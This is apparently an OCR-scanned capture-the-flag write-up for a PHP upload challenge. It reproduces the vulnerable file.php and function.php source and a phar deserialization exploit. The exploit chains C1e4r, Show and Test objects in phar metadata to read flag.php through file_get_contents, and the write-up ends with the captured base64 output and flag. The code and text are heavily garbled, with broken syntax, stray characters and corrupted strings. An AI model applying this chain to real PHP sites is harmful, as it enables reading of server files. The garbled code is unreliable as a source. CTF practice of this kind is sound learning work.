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<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
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file.php:

] )3
Sfile = $_GET['file"] 2 $_GET[file'] :
if(empty($file)) {
echo
t
$show = new Show();
if(file_exists($file)) {
$show->source = $file;

$show->_show();




function.php

?php
/show_source(__FILE_ );

include
header(
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES[ I 1.$_SERVER][
[Imkdir( ,0777);
if(file_exists( . $filename)) {
unlink($filename);
b
move_uploaded_file($_FILES[ Il , . $filename);
echo ;
t
function upload_file() {
global $§_FILES;
if(upload_file_check()) {
upload_file_do();

}

function upload_file check() {
global $_FILES;
Sallowed_types = array( ,
$temp = explode(".",$_FILES]|
$extension = end($temp);
if(empty($extension)) {
/lecho
ki
else{
if(in_array($extension,$allowed_types)) {
return true;
ki
else {
echo
return false;

public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
ki
public function __destruct()
{
$this->test = $this->str;
echo $this->test;




class Show
i

public $source;

public $str;

public function __construct($file)

{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;

ki

public function __toString()

{
$content = $this->str['str']->source;
return $content;

ki

public function __set($key,$value)

{
$this->$key = $value;

ki

public function _show()

{
if(preg_match( ,$this->source)) {

die( );
} else {
highlight_file($this->source);

}

public function __ wakeup()
{
if(preg_match( , $this->source)) {
echo
$this->source

class Test
i
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value
}
return $this->file_get($value);
}

public function file_get($value)

{




$text = base64_encode(file_get_contents($value));
return $text;

base.php:

?php
session_start();

DOCTYPE html
html
head
meta charset
title>web3</title
link rel
script src /script
script src /script
/head
body
nav class
div class
div class
a class
/div
ul class
li class EE L F<la></li
li><a href S </a><li
ful
ul class
li><a href span class /span><?php echo $ SERVER]
ul
/div
/nav
/body
/html
--flag is in f1ag.php--

index.php:
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<?php

class TestObject {

[}/ E € i

$phar = new Phar( W=t AN phar
$phar->startBuffering();

$phar->setStub( ); 1% & stub
$0 = new TestObject();// H & X 14 it

$o -> data='cck’;// H & X i4i&

$phar->setMetadata($o); /14 [ i€ X [f] meta-data /£ A\ manifest
$phar->addFromString( , ); 1S TIN5 A
1254 B3

$phar->stopBuffering();
7>
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?php
class C1e4r
i
public $test;
public $str;
public function __destruct()
{
$this->test = $this->str;
echo $this->test;

class Show
i
public $source;
public $str;
public function __ toString()
{
$content = $this->str['str']->source;
return $content;
ki
ki
class Test
(
public $file;
public $params;
public function __get($key)
{
return $this->get($key);
ki
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value
ki
return $this->file_get($value);
ki
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
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$a=new C1le4r();
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public $str;
public $params;
public function __construct()

{

$this->params = array();

class Cle4r

i
public $test;
public $str;

class Show

i
public $source;
public $str = array();

$t = new Test();
$c = new Cle4r();
$s = new Show();
$t->params|
$s->str['str'] = $t;
$c->str = Ps;

@unlink(

$phar = new Phar(
$phar->startBuffering();
$phar->setStub(
$phar->setMetadata($c);
$phar->addFromString(
$phar->stopBuffering();
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<?php __HALT_COMPILER(); 7> <meta charest="utf-8">
00000C:E:"Cledr:2:{s:4:"test" M;s:3: "str"; 04 "Show™: 2:{s:6: "source”;N;s:3:"str", a1 {5030 st 004" T <titles ¥k _EfE<title>
est™:2:{s:3:"str";N;s:6: "params";a:1:{s:6:"source"; 5:22:"fvarhwww/htrmlflag. php"; }H0test. txtOg80_O A </head>
~ o=0testOO00kOOOOW-00dP-0/00GEMB <hody=
----------------------------- 19498917 47143396853370431138 <div align = "center"=
Content-Disposition: form-data; name="submit" <h =173 5 R Low, i# & Pl gt </h >
</div=
i <style>
----------------------------- 19498917 47143396853370431138-- p{ margin:0 auto}
</style>
<div=
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<?php _ HALT_COMPILER(); ?>
PD9waHAgDQoJLy8KY SASICAdmbGFne2Y5ZjhiYWQxLThIYTMINGESMi1ThNDBhLTVmMZjc3ZTkwYzY50X0nOwOKID8+DQoNCg==
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Baseb4fmizteik

PD9wallAgDQo JLy8kYSA9ICdmbGEne2Y5Z jhiYWQxLTh1YTMtNGESMi 1hNDBhLTVZ je3ZTkwYzY50X0nOwOK ID8+DQoNCe==
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<?php
//%a = flag{f9f8badl-8ea3—4a92-a40a-5ff77e90c699}  ;
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